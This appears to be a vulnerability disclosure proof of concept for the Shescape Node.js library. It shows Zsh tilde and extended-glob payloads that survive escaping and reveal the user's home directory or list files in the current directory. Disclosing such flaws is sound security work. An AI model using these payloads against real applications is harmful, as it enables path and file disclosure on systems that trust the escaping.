Shescape: Path disclosure on Unix with Zsh

import * as cp from "node:child_process";
import { Shescape } from "shescape";

// 1. Prerequisites
const options = {
    shell: "zsh",
    // Or
    shell: true, // Only if the default shell is Zsh
};

// 2. Payload
const payload1 = ":~";
// Or
const payload2 = "a=~"; // requires MAGIC_EQUAL_SUBST

// 3. Usage
const shescape = new Shescape(options);
let escapedPayload;

escapedPayload = shescape.escape(payload1);
// Or
escapedPayload = shescape.escapeAll([payload1]);
// And (example)
const result1 = cp.execSync(`V=${escapedPayload}; echo $V`, options);

// Or
escapedPayload = shescape.escape(payload2);
// Or
escapedPayload = shescape.escapeAll([payload2]);
// And (example)
const result2 = cp.execSync(`echo ${escapedPayload}`, options);

// 4. Impact
console.log("", result1.toString().trim(), "\n", result2.toString().trim());
// Outputs ":" followed by the user's home directory on one line and "a="
// followed by the user's home directory (under MAGIC_EQUAL_SUBST) on the next.

import * as cp from "node:child_process";
import { Shescape } from "shescape";

// 1. Prerequisites
const options = {
    shell: "zsh",
    // Or
    shell: true, // Only if the default shell is Zsh
};

// And (example)
// `setopt EXTENDED_GLOB` in ~/.zshenv

// 2. Payload
let payload;

payload = "pa#ckage.json";
// Or
payload = "^package.json~package-lock.json";
// Or
payload = "^nonexistent";

// 3. Usage
const shescape = new Shescape(options);
let escapedPayload;

escapedPayload = shescape.escape(payload);
// Or
escapedPayload = shescape.escapeAll([payload]);

// And (example)
const result = cp.execSync(`echo ${escapedPayload}`, options);

// 4. Impact
console.log(result.toString());
// Outputs files and directories in the current directory